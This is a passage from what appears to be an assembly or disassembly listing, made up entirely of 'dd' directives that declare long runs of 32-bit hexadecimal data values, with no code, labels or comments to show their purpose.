		dd 5CCF90C2h, 1B46D623h, 478F0A00h, 5D4EF3Eh, 0BD096004h
		dd 0D8BE1041h, 0C6E0A4ABh, 9040A600h, 0CE248E0Bh, 31250FC7h
		dd 0AB3785BDh, 2B7D0939h, 390434A8h, 122D8D31h,	0B55EC414h
		dd 7252A36Ch, 2B1C558h,	0B03E0E1h, 0E6D72753h, 74CD95FDh
		dd 0D9601964h, 0AC131E37h, 83178A4Ah, 4A7C6EFAh, 17670198h
		dd 9E018BDh, 0B70A11Ah,	7900EEA6h, 2FB6D54Ah, 973E6E56h
		dd 0A52FDA16h, 4184CF1Ch, 2E33D1B8h, 0BD6C6E28h, 5D62B64Fh
		dd 0B81A57D7h, 589C8D5Dh, 8083E23Fh, 0EF4595F2h, 67C89FB5h
		dd 5A25FE8Bh, 0F10D558h, 307A94F5h, 9A217400h, 3F16970Eh
		dd 13817910h, 60B9E6F8h, 583A1489h, 0DEA0FE02h,	41965B0Ch
		dd 0D80802DAh, 0BD24A5AEh, 54AFE261h, 319DD611h, 4EF0AA12h
		dd 3ABE04ABh, 0EA8FA84Ah, 8C3E0A89h, 0B57329DFh, 0F3B82F4Ah
		dd 0C86F01AFh, 73FD89E6h, 4BA39034h, 8BEA8C0Fh,	2A4A9D7Fh
		dd 30E2F2ACh, 4B8D262Ch, 2BDD9D25h, 0BC73DC15h,	12BB7943h
		dd 0E25B56ECh, 28EED6FDh, 954AE91Eh, 0C1F5BAB1h, 8054DB7Fh
		dd 0B7A1F999h, 0E2449547h, 325E0C00h, 0DD7FCA4Dh, 0A8C0052Ch
		dd 0FE3DC445h, 51DC1C2h, 35B8F15Bh, 0F8A62A41h,	0F4301BB2h
		dd 12DC03ABh, 4BCE605Fh, 0F214E69Eh, 10B861F9h,	825B0229h
		dd 854A5736h, 0A8AA6EF5h, 0BF7BF8Ah, 9031E2D3h,	9800EED9h
		dd 2BDD4CD4h, 49DB0091h, 60734AE7h, 4E03CA92h, 268152DEh
		dd 66C03BABh, 912F2958h, 0D9028D3Dh, 816E03D5h,	0AB1EE8Eh
		dd 90D6CC3Bh, 0BB136600h, 0E3CEC8C7h, 0C4A34BB0h, 9DF6AB0Eh
		dd 37C2BBE5h, 5B94A045h, 7866C4BFh, 579AAAFCh, 0C94E85D9h
		dd 981A758Dh, 0E996A27Fh, 825004B7h, 0E8759048h, 48B56020h
		dd 2D1004C4h, 72612501h, 837D7A68h, 0D35CDEB2h,	0C8B8FC64h
		dd 2A4C56CDh, 0A62B62A1h, 0D4D0E144h, 5A0078F2h, 0E310AC1Dh
		dd 0EB304A78h, 8833EE6Eh, 0E300A95Eh, 46BF026Ah, 9E0FDA6Eh
		dd 337F0B11h, 0DBD8C65Bh, 3A0700DAh, 7BE38149h,	334F3684h
		dd 581C2920h, 71D20140h, 8CBFC48Fh, 0EAE5E0C1h,	11A14B16h
		dd 0B589AB61h, 0A480A79h, 165ACE4Ah, 7AAEB1F8h,	96920544h
		dd 4AFA112h, 0A29413Fh,	812FB0Bh, 90C9D1ADh, 53139D46h
		dd 90E2505Fh, 50F6E124h, 0C8EA0925h, 2A281104h,	0FACDF8Ah
		dd 0F0E03880h, 75315481h, 0DABF5A5Fh, 0F32A512Eh, 0BB262AF8h
		dd 4C12341Eh, 12762BE6h, 0E715E985h, 6A865025h,	4858B3F2h
		dd 13251647h, 2A190E7h,	0D580F9A6h, 0A622EE8h, 8CB02651h
		dd 224A39FAh, 75E0F6C9h, 11448608h, 90A7008Eh, 87386E48h
		dd 0FF793D96h, 0DFDCB02h, 56802022h, 612198FBh,	0F559BD2Bh
		dd 0FC874A77h, 0A51885C7h, 2F4BC478h, 0BAF50298h, 60898A06h
		dd 69B5013Dh, 0AFD5478Dh, 1223342Ah, 9CAB890Fh,	93008718h
		dd 2259E618h, 1772834h,	6012EF0Ch, 2EBF357Bh, 0BB511F00h
		dd 2DF3E620h, 65565B43h, 8C31D117h, 8EEC74CAh, 74049504h
		dd 8702AAFCh, 29AFE9F9h, 0B208D084h, 0EC592A57h, 9F155395h
		dd 0B2F6C0A4h, 33346BC3h, 5CD2CD00h, 0F2827AD9h, 0B8280D1Fh
		dd 84385F63h, 1A398D4Ah
		dd 27C82BB8h, 0C16066ACh, 28D39C13h, 55AD9EF7h,	0A6BB9BF1h
		dd 0FC27C2F9h, 965958E9h, 9139108h, 0B803CB80h,	31CFF8Dh
		dd 2BB28C0Fh, 0E7E656h,	63DFAD62h, 0C193FE1Dh, 76AB5F4Ah
		dd 6D555A21h, 84E06ED3h, 0A5838012h, 0FCFE30A0h, 2C823090h
		dd 9D04E353h, 28AB04A1h, 314BCEE5h, 988F489Eh, 0B1E92C8Fh
		dd 0BB6E8504h, 1D00547Ah, 0DA98F548h, 6658FE26h, 0B8D1653h
		dd 33C172ABh, 0E2379B77h, 0B9CBA12Dh, 986B107Ch, 0FD044AB8h
		dd 0AC862EF6h, 6E4E2CB8h, 0EE20007Bh, 0BF92DF56h, 504902CAh
		dd 10A58D09h, 0A281FC04h, 2B0120A9h, 0F1D336C0h, 0E2FC2229h
		dd 95010CC7h, 0D2511565h, 0DC2A7497h, 65E7F94Ah, 0DF301CF2h
		dd 8C0607DCh, 0E509A99Eh, 6304FFB6h, 6EAB64CDh,	0E655002Ah
		dd 9D2BD3FCh, 0AC2AE77Dh, 0EDE8D22Bh, 0D9806E5Ch, 45A44A8Eh
		dd 7FD81800h, 17A52FDBh, 0A2D89F26h, 5BDF1B88h,	53B03AB7h
		dd 0C5625039h, 9896B81Dh, 6095226h, 516D553Eh, 0F6EBF448h
		dd 0CB8140D0h, 6271C4Fh, 5D9C5C12h, 92891491h, 0A876E6C2h
		dd 0C9004DCh, 8252D0B6h, 0A8A581BDh, 7009CC5Fh,	0C6594200h
		dd 0ACD5487Dh, 1373004Bh, 79B0F9D6h, 0DEC1F6C9h, 24CD8D89h
		dd 0F25B3F92h, 5F7D8905h, 0CA87633Dh, 121641AEh, 0B8DE2EEEh
		dd 799D6208h, 0DBBAD529h, 0FAD488DCh, 74AF002Dh, 0CA4EFE3Eh
		dd 2B9BE1FFh, 5619C07Ah, 4BB1A42Bh, 351DCA48h, 6CE655EFh
		dd 5ED801E0h, 5BF7E602h, 5E6E8CF6h, 92D9513Bh, 13F2F955h
		dd 0FBD2958Fh, 0B512827Ah, 0F9E0C82Dh, 0A57EDF71h, 0DE7DD41Dh
		dd 1A94C700h, 59CF454h,	7FC4CFE2h, 0E3D4BB17h, 7D7722B8h
		dd 33680B80h, 19549995h, 4607C2A5h, 0D58A1E0Ch,	0A2BC076h
		dd 267DACA7h, 66E2DF25h, 0AD9800E0h, 0DAD7838Dh, 2300877Bh
		dd 45C9766Ch, 78A4192Bh, 5F672582h, 15042DE9h, 2CA6FC04h
		dd 0F065B7AAh, 326C5Fh,	0C7815D03h, 585C9335h, 8B0F168Ch
		dd 0C01BF90Bh, 0A47ED2E7h, 80074AA9h, 9094B3E8h, 5F309A9Fh
		dd 0F841DE50h, 86FB0A93h, 0DA260C01h, 2DE8190h,	265CF1DFh
		dd 0BDD51A58h, 9D6631EAh, 8F412B55h, 1C0CE652h,	1A56B0ADh
		dd 13E5AD07h, 70745B99h, 0B51209FEh, 74FF2F05h,	0B80584E7h
		dd 0D6C8D61Dh, 93F601D8h, 3016AE99h, 5E37D46Ah,	97DACB02h
		dd 4473E95Fh, 4BBF7E00h, 0FEED8405h, 32C132DEh,	73A6911Ch
		dd 5AC801FDh, 2600347h,	0F3705CC5h, 0B7125AB5h,	52F24F7Fh
		dd 0D1EA2B02h, 90E94CADh, 89DD6A17h, 0F535DACBh, 7BAFF845h
		dd 0CC2B78CCh, 90A23412h, 0ABE8265Ch, 50386595h, 85017546h
		dd 0A8383968h, 0B22A35EDh, 605001B0h, 5BCE8A52h, 79DCE32Eh
		dd 2ED6FD5Eh, 0ADD84E88h, 8C16ACF7h, 37F5007h, 0FBF2D968h
		dd 9666751Dh, 5115B724h, 0E4472687h, 83845FFBh,	9CDDEA30h
		dd 6C008833h, 0C413308h, 36388411h, 34D50029h, 9752ECF5h
		dd 8103074Ah, 25BAC1E7h, 11B8B81Eh, 244A2D87h, 659CEA6Bh
		dd 0FC8E0073h, 2307493Bh, 0A62440ECh, 94606AAAh, 0DB5CF4h
		dd 72AF3B2Ah, 0F0885A1Bh, 5F897913h, 97FC34B4h,	0E0B7B431h
		dd 8B4A6061h, 2B3644FFh, 445FFFB5h, 0C42D06ACh,	9CCE1E07h
		dd 0BD5525BAh, 6B302F26h, 640272CEh, 8E1C98Ah, 51AD56EEh
		dd 2431BB50h, 57449F88h, 12C0E6BFh, 0B1A015BDh,	0A3DE9DE9h
		dd 0C19E4D25h, 3B39FBAEh, 7CBCB3h, 660BC8FAh, 6C3CAB94h
		dd 0A3785900h, 20908F9Dh, 61082D2Eh, 115FE153h,	0D226801Ch
		dd 9940DE7h, 5A60AB08h,	0C4008CD1h, 97175C10h, 29C704F9h
		dd 0AE25AD85h, 4B0B4238h, 0A0E0A704h, 9F95ACh, 0E5FC40E2h
		dd 23AA81EEh, 7A99BD26h, 66B96080h, 121816ADh, 0AB5CD380h
		dd 8AC90C2Ch, 2451A82h,	0E4D26D75h, 0AFFD6015h,	8DDD4B8Ah
		dd 0EB342AB4h, 1B8583C1h, 0D698B23Ah, 1702286Bh, 65A23353h
		dd 24F28477h, 8EF38100h, 4D013ABAh, 8EABF50h, 9A357FD7h
		dd 0A81CE26Fh, 0FAF103D5h, 7AF34E59h, 614877F9h, 2E29F592h
		dd 42506B32h, 0D47E09C9h, 571EDE0Fh, 3B81FC89h,	475D5329h
		dd 12BB9D30h, 0AB173E6Ah, 1D23426Bh, 8E6F09h, 0BE851B13h
		dd 0E4832D6Ch, 868BAA7Ch, 0EEEE5CC4h, 1A8292A0h, 7900D872h
		dd 0EACB4E61h, 197B771h, 5FEDDA99h, 0D2F569D5h,	80844071h
		dd 0A0B8C1F7h, 9B09977Eh, 75A55E71h, 0B57FCA92h, 8914917Ah
		dd 38B555BFh, 0F6801891h, 3C150AC1h, 0B1F7509Dh, 0D2164045h
		dd 955FD677h, 768013DEh, 5CF297Fh, 0A5528938h, 4A5B6C8Dh
		dd 4F54F99Dh, 1CB288A6h, 0E2AE2130h, 8CB43F5Dh,	0BFBC00F1h
		dd 67197212h, 0B33A5096h, 8D89094Ah, 0FD1E4A01h, 957F59E2h
		dd 0C160C035h, 0C73480CCh, 0A1AB5AF0h, 712A2BD7h, 0F090BF82h
		dd 0DC40927Ch, 916A20Ah, 3027551Ch, 457588E2h, 5E389156h
		dd 11E0B08h, 0FEBB6696h, 0FE993AEEh, 0DC297CF2h, 2F8C8D01h
		dd 0FF5C78CCh, 0A7411E28h, 0E0D2E72Bh, 62B3A7F3h, 1CA1BA3Dh
		dd 46DE6D5Ch, 54E3919h,	0F788E767h, 31D4D21Fh, 8D97A7FFh
		dd 28AB08C5h, 0FA4B8B16h, 51593B8Ah, 826EBB4Bh,	74274900h
		dd 82525936h, 7D965A69h, 0B5FFA82Bh, 3B4C2551h,	619FA084h
		dd 5DC2C607h, 0A1801CB7h, 13E7D8F0h, 0F243122Ah, 1688AA76h
		dd 1D9D1623h, 0F246AC2Bh, 0D021C353h, 4BE95F63h, 0B28C842Ah
		dd 8CAD1281h, 0FBF253FBh, 12AF8016h, 0BC52AD74h, 0EF008C1Dh
		dd 0ECDA1E3Dh, 5A27FA9h, 8589A4F9h, 0BEA994D9h,	6EAFDC52h
		dd 0D1A50573h, 0DDE84116h, 661427h, 0C038CDB5h,	9831BD16h
		dd 0B7515602h, 5962F2F7h, 553E033Fh, 37EA11B1h,	3D1F877h
		dd 0BB75D45Fh, 64D32251h, 5D70DAA8h, 0A0A04C7Dh, 549DC1D8h
		dd 0C00D65FCh, 4F2D4466h, 0BCC2D4F5h, 9531840Bh, 5B74C065h
		dd 0FFCB0481h, 0B817E138h, 316E5A7Eh, 0B9F83D00h, 0FBB5059h
		dd 6804A515h, 9AB84AB9h, 0B7756AC9h, 0B459A789h, 0EA1A8A82h
		dd 5522D70Ah, 2F890F19h, 284022F4h, 3CEB2Dh, 4EB3F12Ch
		dd 3BB21E25h, 98145718h, 0B51C9538h, 2B7C7E6Eh,	730B5525h
		dd 60CDA462h, 0EE13EBBAh, 8ED74701h, 0B1B50138h, 0A84AB32Ch
		dd 0BCA44D0Fh, 0CCD1BFAAh, 5D40933Ah, 282B32A1h, 39D2B5ADh
		dd 4B18186Fh, 209DFEFCh, 0AD12599Dh, 0E0054AB5h, 2BC8820Fh
		dd 20BCB060h, 513B1161h, 1BBD4E5Fh, 8DA24Ah, 0C3B13792h
		dd 76293870h, 0B9201302h, 0BF9BEFF1h, 52F1BD80h, 59951BAAh
		dd 0F8005428h, 2FAC39B4h, 5B29E26Ch, 0E91BE48Dh, 2BB8205Ah
		dd 0BB42E2E2h, 7CE05DEDh, 2CA804Fh, 82B7F6D4h, 9842328Dh
		dd 0DAEC3244h, 971ACE95h, 0F20083B5h, 892EE53Ch, 0B429B79Dh
		dd 84D202DFh, 39DA7451h, 257AAE4Ah, 0BE3DC212h,	62BB5C07h
		dd 56740572h, 0ABF565B0h, 38953F9Bh, 1457B8CBh,	0EA359F35h
		dd 788B4309h, 8EEEBD29h, 463F1C05h, 5AE4A44h, 0FFFF6A45h
		dd 0B2B4FC2h, 2D292102h, 25D53DFFh, 5026AEA2h, 294D9848h
		dd 91FB95h, 0ED4A2144h,	0D5E4F9CFh, 0EC5F6125h,	2BEB604Eh
		dd 0B0DFBF0Fh, 0FCF32FE1h, 0B110F048h, 70E60122h, 0DD8A71E4h
		dd 0CC3D4A2Fh, 0C8B60C1Fh, 0CE95D1E0h, 27B5F633h, 287D1311h
		dd 2010D9Ah, 87210B79h,	0DEE4DDD3h, 0C5A00AABh,	0EAB8BFEh
		dd 3282F423h, 2257EECAh, 5EFAB751h, 80F50129h, 862B77D7h
		dd 1BAD9D7Eh, 0F9D10C69h, 81557CE9h, 9FF6C33Fh,	26A43E7Fh
		dd 4689A6Bh, 0E05271A1h, 120CBF27h, 0C479ACB6h,	0E225125h
		dd 97D03BC0h, 0F6A4D679h
		dd 5607D10Bh, 0B9FCC4CDh, 8B898AF8h, 22319561h,	2A27B63Ah
		dd 4D254624h, 2DE9C51Eh, 864AF882h, 2111BBD6h, 4B6A9528h
		dd 4AE898F9h, 0C4964241h, 0A86EFD7Dh, 0F70B8C17h, 56E4FEB4h
		dd 2FCE9E9h, 0B068BDD6h, 0F70B5B9h, 0BAD080BBh,	0BF4E0E6Dh
		dd 0B2220DD6h, 4C71A048h, 923C3F3Fh, 0F9E130F8h, 0D7F00E36h
		dd 7E14DC37h, 46D5FC8Eh, 296512E4h, 169953ADh, 4CE26E79h
		dd 0A580D124h, 8E24FF51h, 0A3AE04DEh, 0C221063Bh, 51CA95EDh
		dd 0E9D94FF5h, 0FA031253h, 0B0BA26DEh, 32232E9Dh, 0FE76085h
		dd 0AE305705h, 12AC7527h, 0AB5E2F6Bh, 7BEE6712h, 0D22109ACh
		dd 0AED37328h, 3800D4B1h, 89B872BAh, 9D259985h,	0EA53F5Bh
		dd 96701372h, 4F4691Ah,	45390FD3h, 0ADC0B85Bh, 775F113Bh
		dd 0D325E7ACh, 137BC510h, 0EC67FD74h, 0DA30068h, 61FA69F8h
		dd 571E4409h, 7BADCB80h, 0E8840972h, 0D3AD7E73h, 0DF07502Ah
		dd 0EF90909Dh, 1C0E0B51h, 5C429ADh, 0A312E8BFh,	2D5BE05Ah
		dd 3D61E1FFh, 7BB37A1Bh, 9045387h, 0C0BD6DFDh, 0A69D586Fh
		dd 0C5A92D25h, 5D401A6Fh, 73700873h, 6AF09CFh, 8F71892Dh
		dd 0F7EDC44h, 0CD0F779Ch, 0E33F170Ch, 0BD0309A1h, 760A7001h
		dd 35E15931h, 0B5566014h, 22794BC0h, 0AE12A514h, 99E15F2Ah
		dd 0B8F47826h, 60049212h, 0CDAA0EB1h, 60CE6F9Ah, 1695D24Ah
		dd 96C42Bh, 393E89D9h, 58EDDDC6h, 0F2560B00h, 0CA50F18Bh
		dd 9712F84h, 80A65D79h,	0DFB88112h, 2ADA18A6h, 0A14DF50Ch
		dd 4F143869h, 5DF32667h, 228D8970h, 61D7DCE8h, 0E2DCF097h
		dd 40A69C52h, 36918C6Fh, 703FC00h, 0EA4658Dh, 7C760039h
		dd 4A6CB790h, 230B37BFh, 5C5B6343h, 4FB440Bh, 0B42446B7h
		dd 0C925BD69h, 0F0DBDB14h, 0E802CE7Fh, 0DDF808Bh, 0E644DF89h
		dd 0A20E6800h, 0FA8ABB52h, 0F174C181h, 6B44CC61h, 549D4782h
		dd 88568FFh, 0B52C3211h, 0D6A054A7h, 0A1051746h, 0BE37D431h
		dd 81E93A04h, 91D221AFh, 0F8B76A28h, 7582C85Bh,	80F2B33Fh
		dd 0ECD6AC4Ah, 2480425h, 952189D2h, 1855A0B2h, 7D9D23CCh
		dd 765B81E9h, 0B6A95EEEh, 80AE79ADh, 0CD1DBB9h,	14B58001h
		dd 12B43B97h, 0E730CD7Eh, 0F85C76B4h, 0C78101FCh, 48798613h
		dd 0B246B63Ah, 84D2301Dh, 18DC3901h, 25B494E9h,	0E1DE82DAh
		dd 0CA93D51Bh, 2F45AC10h, 0F3BF5001h, 7C0F9E53h, 0D8DB5AFEh
		dd 86CEB582h, 0A312835Eh, 0DD69B7E1h, 6305FAECh, 6B4BC468h
		dd 709DF809h, 483B1EB0h, 0AAC66574h, 5DBD230Eh,	6EE9B72Eh
		dd 142995C2h, 714B29F4h, 8F0700CDh, 763D57FAh, 658A5812h
		dd 56C2C658h, 8B099D30h, 3FEE4B44h, 0D239A205h,	926F9010h
		dd 4C432C09h, 8C7CAC32h, 29D3133Ch, 61EF22AEh, 5DCC15Eh
		dd 0E85F0A53h, 80C2AC22h, 4FEA812Eh, 0CEA0008Eh, 0B4F00D8Bh
		dd 0EB12A2B1h, 0CFE35A5Bh, 0B86AD7h, 0E5EFF549h, 76B75FFFh
		dd 0CA154AA5h, 325534A9h, 0E027A6BAh, 162CA339h, 0AAA0910Eh
		dd 0B8660000h, 158944C7h, 0A0334D9Dh, 9E3CE912h, 787CEA9h
		dd 0F804D883h, 8FEBD6B8h, 0A58DC2F8h, 71A75C14h, 0EDB73BA4h
		dd 0F810A0B0h, 799AE7A5h, 98C6DD57h, 600B98B7h,	2F79BE61h
		dd 0CB808E18h, 7F8D934Bh, 9E05EE23h, 0F71B97B9h, 0EF090569h
		dd 83EF1F29h, 7599E304h, 8FDA6A5Fh, 7FC01BC8h, 0B39D1DEh
		dd 30AD4D67h, 0C8259305h, 0D92D9D32h, 0DE5C5613h, 89C71A59h
		dd 0EEC47DFDh, 3AF922B2h, 0F29257F2h, 7B3A00D4h, 7C9B8627h
		dd 0D9450147h, 43ACADB1h, 5BAB52CCh, 48E5CD5Fh,	353AE580h
		dd 0CA6B8C4Ch, 80A85F39h, 63017B4Ch, 0A9A09Fh, 35E70A6Bh
		dd 0B79E0E03h, 9D92FCDDh, 658A97EBh, 0C828AE85h, 5121E360h
		dd 3F9075C6h, 12BD61D9h, 3DE07F6Dh, 3900B284h, 75B56C2h
		dd 4C6B895h, 0F7A205AEh, 0D3A6BA61h, 9F1F6A4h, 3AF553C1h
		dd 0E9105C1Dh, 989F57B5h, 4E05E6E5h, 23586BF5h,	0F270031Bh
		dd 90F0B415h, 8B5AED8Fh, 6D30ACC9h, 5CB9AA41h, 0F5600117h
		dd 2A61AEB1h, 21B58FA4h, 53CB1DD5h, 0B89D5042h,	8CDA3E03h
		dd 0DDCB6F12h, 9AD9481h, 1DC59689h, 0B65F96D5h,	7870D490h
		dd 80864A00h, 9D29E69Bh, 7F1341B9h, 0C82AEAB1h,	0CAEA84D0h
		dd 0F395B800h, 99DFE30Bh, 2B7A2612h, 2F11107Dh,	40344F5Fh
		dd 0DFF2348h, 31DA9C5Ch, 169E8C6h, 0F4D3F67Fh, 0B68E84A9h
		dd 13D1EF89h, 11E38081h, 0E32D9D0Bh, 0A8AAB24Ah, 0A2F60999h
		dd 0C45F60CAh, 0F0BDA035h, 71D50B80h, 4FC49661h, 0D735A301h
		dd 76BFCDACh, 5FAAF07Fh, 5BB6504Fh, 9B96DE13h, 0B2178094h
		dd 2D92D63Ah, 0C0EA53D0h, 0BD5DA72Bh, 3FF29CC4h, 0ABEAC500h
		dd 781BD0Bh, 0E1EE5497h, 0F1509B5h, 0F9511F31h,	6F202B50h
		dd 1C8539Eh, 0CC0E816Ah, 0CA2A6B89h, 0BD43F07Dh, 4A256979h
		dd 80653F0Fh, 9511FF97h, 53254EE2h, 5B6C1103h, 0E65C362Fh
		dd 0C52BD127h, 0C6AF7048h, 0ACA05BB5h, 0E416D612h, 0CF026DE6h
		dd 5EC2D2D7h, 104F5172h, 970EEB80h, 391F4CBAh, 6AEFB482h
		dd 0A62BD78Bh, 1FDCFA74h, 0C782CC99h, 79B7BE3Fh, 0B26C3D79h
		dd 2D84BF81h, 1EE90411h, 444D40BCh, 891E12BCh, 55E5B185h
		dd 3025019Fh, 4B0A342Ah, 52F8C5EAh, 882AAA69h, 0E2DB4687h
		dd 765CF8B6h, 1580CB47h, 39BD1D0h, 3F5F7721h, 3498DAA3h
		dd 4ABD9097h, 0F9DD1A3h, 8E6055D5h, 0AAB074D9h,	0A1A6904Ah
		dd 6686FBE4h, 8D89163Ch, 86082275h, 874A7B7Fh, 2043D8CCh
		dd 5B0824C0h, 0AF8D8100h, 7F720B54h, 71C513F5h,	0DB605398h
		dd 58A5970Fh, 0D1FAB300h, 0BF379F0Ah, 87F12592h, 0B9C0DA5Bh
		dd 90BB50C4h, 1BB3D816h, 0ABA61C84h, 0A1EBA0E0h, 3B05B113h
		dd 81C05DF8h, 0C0D72BE3h, 0C850E5Fh, 2FC7659Bh,	0DAEFF075h
		dd 0C9482E63h, 8613C012h, 3AEA76FFh, 0AA4B8C7Eh, 4338FE6Fh
		dd 0CE9CA8CEh, 0FF338BD5h, 0C173E289h, 4B7EF8ADh, 0C8C1DD30h
		dd 106535B5h, 4DA1D131h, 488F282Eh, 9E9D2388h, 26A8CADh
		dd 1F406558h, 79D8B590h, 51975695h, 0BD141661h,	0D903E9DBh
		dd 2507F5ADh, 9AFE9026h, 47F78160h, 221D259Eh, 35E20976h
		dd 19E90714h, 4700C5Eh,	0A3CA82D2h, 94C0E262h, 0CE952C01h
		dd 0C78000EBh, 605090CFh, 0A408B966h, 800BE9F9h, 5D2238E3h
		dd 6107E140h, 92111266h, 63505B53h, 1A8F34F1h, 3CB1DC1Ah
		dd 91F818CAh, 9D620593h, 0AABD2778h, 0A19B28C5h, 0B488ABD2h
		dd 0C5400161h, 0E72612BFh, 1CDB2B58h, 83C01B88h, 4C0E79DFh
		dd 0CA2DF4F4h, 950C346h, 599D2A98h, 0E67F499Ch,	0AC4C95D7h
		dd 425D920h, 0BDBB6657h, 340FAFDDh, 44A1C929h, 3BDC9D2Dh
		dd 0DC046017h, 70CCC2B7h, 68FB0ECFh, 873DE65Fh,	608ABBF8h
		dd 0DAB4037Bh, 71AE3A04h, 0BBE0CEB3h, 612EE9D1h, 70159ECh
		dd 585D693Fh, 0A1B06950h, 0E6893B7Eh, 0BC370070h, 7E7447A4h
		dd 20692009h, 0F871E412h, 0BC32F4E4h, 3018E0E9h, 21C5E9Ch
		dd 9E80A020h, 0A3B8E815h, 9F97095Dh, 0B78F9F4h,	11AD72C4h
		dd 0C8DE0BBDh, 44F1C8Dh, 0CCAA5195h, 0BD1633CEh, 3FB81071h
		dd 27E92498h, 4F95682h,	2422658Dh, 0BF9C9F31h, 3CE0D8h
		dd 63BEB273h, 17C4A772h, 76E12F03h, 0D5C5DC34h,	58779FA2h
		dd 0B427E467h, 45005AD8h, 0A2AAC363h, 291A7776h, 0CF1B0E9h
		dd 230D0485h, 0E4B1BD25h, 0ED074A0Ch, 28DF9413h, 60E00F1Bh
		dd 418D090Dh, 5DDAB526h, 0BD61B3A4h, 90342229h,	321206Ah
		dd 1771E930h, 1390C781h
		dd 12776039h, 769CEF51h, 13D300D8h, 0DC483E36h,	6E006199h
		dd 37349FD7h, 12AC893h,	0D6B0DF81h, 2F5B552Ch, 45B85134h
		dd 43AD3988h, 45BCD44Dh, 25EC04A4h, 953E50Fh, 4CD9F18Ah
		dd 570069C5h, 30E161A2h, 1A9F44Fh, 0C8B3FB7h, 0F077E323h
		dd 0D14B576Eh, 40FF5AD8h, 0B1A05051h, 0F3960E35h, 9566F04Bh
		dd 99C2C254h, 0C4132E07h, 4AA8AABh, 43F5FDD3h, 6E5A03BCh
		dd 0C1C802BCh, 0F66DCDE4h, 0B5454BCAh, 0CFD84800h, 0A62BFBAh
		dd 0F1890211h, 2D850D91h, 0D05E6CC9h, 417938A4h, 0CAD8E904h
		dd 0E0B50B16h, 0C7DAFC33h, 0F03B0B41h, 61812388h, 0F74BC538h
		dd 1FCBA056h, 0ED74FB4Bh, 0A768D129h, 7874BA25h, 6D6200FCh
		dd 9E75C9C6h, 514E20D0h, 0EA8825BBh, 0ED5197DAh, 0A6BE2E44h
		dd 22B7F0D2h, 2FF09F2h,	1BFC880Dh, 0B525BFE0h, 823D080Bh
		dd 85084ECBh, 14732529h, 1669B031h, 59222C2Fh, 0A1E2235Ah
		dd 598DCCF4h, 95EF2501h, 89906E50h, 0F787C07Bh,	94976958h
		dd 34876907h, 8E12B7F5h, 0F2616B70h, 63CAD5F6h,	0B05400EFh
		dd 91E2D64Ah, 89E8094Ch, 241A7BBFh, 2B69BB82h, 0A8DC510Bh
		dd 956F9863h, 0A0B29D6Eh, 0EDE1FF2Dh, 7BF6C00Ah, 0D33591F3h
		dd 89AF8E9Ah, 7FE02BC4h, 0C2964E32h, 1A5E27C2h,	0AF14A971h
		dd 42B4C8h, 0DE8A2365h,	7E18BB76h, 0B92DC898h, 0C3B77114h
		dd 0EF8504A3h, 6C03A9Bh, 3A316F38h, 0E075D31Eh,	0C51F2AA4h
		dd 5DB65527h, 16EE8A48h, 92B950B3h, 911FA0ECh, 0CD45E362h
		dd 43997E2Dh, 4A21A643h, 0A6E0C47Dh, 28ECE088h,	0A1B84AFFh
		dd 0F6482BB3h, 0F22AE10h, 850E0378h, 61684BB3h,	82C2F854h
		dd 8D082B04h, 0E36E2592h, 4B266D95h, 0C19D1501h, 4BA37E0Eh
		dd 4104A66Bh, 7D52AE31h, 566FABh, 0DF80D81Dh, 18D2BBC1h
		dd 4A352A4Ch, 10E18B0Fh, 271DC768h, 5FD8A836h, 0B580434Bh
		dd 12E8E638h, 0AA8D0157h, 6BFB9753h, 5EB57D2h, 0A7035CBCh
		dd 916F14FBh, 0F293257Ah, 4F55D5C2h, 0CC8F6259h, 94F39582h
		dd 6AE9B4C9h, 0A3B6C6C4h, 53BA7BF0h, 0F0132EF9h, 0D7EC5FF9h
		dd 0C4605525h, 0B5BB7E5h, 0E349078h, 0C49262C6h, 43BC0FC2h
		dd 17FFDB82h, 2EF5617Dh, 64EE772Eh, 0D6EAB8F9h,	9042A11Dh
		dd 5C8938B4h, 0AE00DEE2h, 6E7555Ch, 1637E015h, 0AEF5E66Fh
		dd 1429D66Bh, 0C1EF1771h, 40265C1h, 17619D81h, 0D784907h
		dd 70F853BDh, 2572963Fh, 0C1508374h, 3404949Bh,	0DF1B531h
		dd 9A575009h, 4094FC83h, 0A9F0D8D3h, 705B38h, 89F7B12h
		dd 299314Ch, 0E877A46Ch, 7454460Ah, 504F5BE9h, 58FCB534h
		dd 4AA79802h, 74A30B33h, 0B57F2565h, 8E672BF3h,	7F04B3E3h
		dd 5084BF89h, 4E34CEAAh, 7E401D84h, 0EC5FEE5Bh,	869100FCh
		dd 4A9CDC5Dh, 44012A1Ah, 0CC0A4E3Eh, 0C075B045h, 1E1CED3Fh
		dd 5F6522B3h, 4F23E990h, 7F632100h, 7417D3BCh, 675613A6h
		dd 57622180h, 0C6488560h, 0A5045F61h, 37D2BDB5h, 0F6EF558Dh
		dd 0D70B17E0h, 0DD40BFB2h, 0DBB51539h, 0D31B00E7h, 0A9208144h
		dd 0FABEC598h, 49542540h, 0DD3C008Ah, 4CE0845Bh, 780EEB89h
		dd 2B4D8775h, 817E3790h, 0E17BEC6Ch, 831EFC8Ah,	0F2A8FC5Bh
		dd 3E79BC09h, 0B59DB794h, 56160085h, 61A20957h,	0DC619Eh
		dd 432EFDB2h, 28EE1A56h, 92E8615Ah, 66D53709h, 0BD5EC555h
		dd 7A6A3384h, 1EF6BE55h, 0CFC5D925h, 26214B3Eh,	0E9012989h
		dd 12B6631Fh, 46BC4F97h, 4CB696EEh, 0F15823A0h,	0CC20674Bh
		dd 6B0D1Ch, 0B950160Eh,	0BE45DA41h, 8C1B2C03h, 9111729Dh
		dd 57CA8ADDh, 0CFE9E6E8h, 0DF5995h, 6116B1C0h, 3BE08F8Dh
		dd 0D7A00D00h, 0D629C4F1h, 8390B547h, 482CD5FCh, 0C525B0BDh
		dd 560113C8h, 828ADB10h, 96A20EFFh, 3D62FF9h, 7ED0C07Bh
		dd 71611252h, 449FBFFCh, 64FCB2CBh, 767FDD40h, 0DF90956Ah
		dd 0FD009647h, 0A6190D2Ah, 2E1F4FE1h, 3C5616AFh, 5B0409CEh
		dd 9DC2905Eh, 2094D725h, 0D959037Ch, 0F88A1263h, 436E6BAEh
		dd 808B3E5Dh, 4A22DF66h, 4AED1820h, 4F6FB965h, 21A50AC1h
		dd 7276BF00h, 0FE67482Dh, 0B7895565h, 2D08F0E1h, 0ED56567Eh
		dd 0CB1B59D6h, 48711580h, 8C1509B9h, 4D9B9DEBh,	17C0F874h
		dd 1236C789h, 4B9AE37Ch, 0FFE62120h, 0E0E50096h, 4E186BE7h
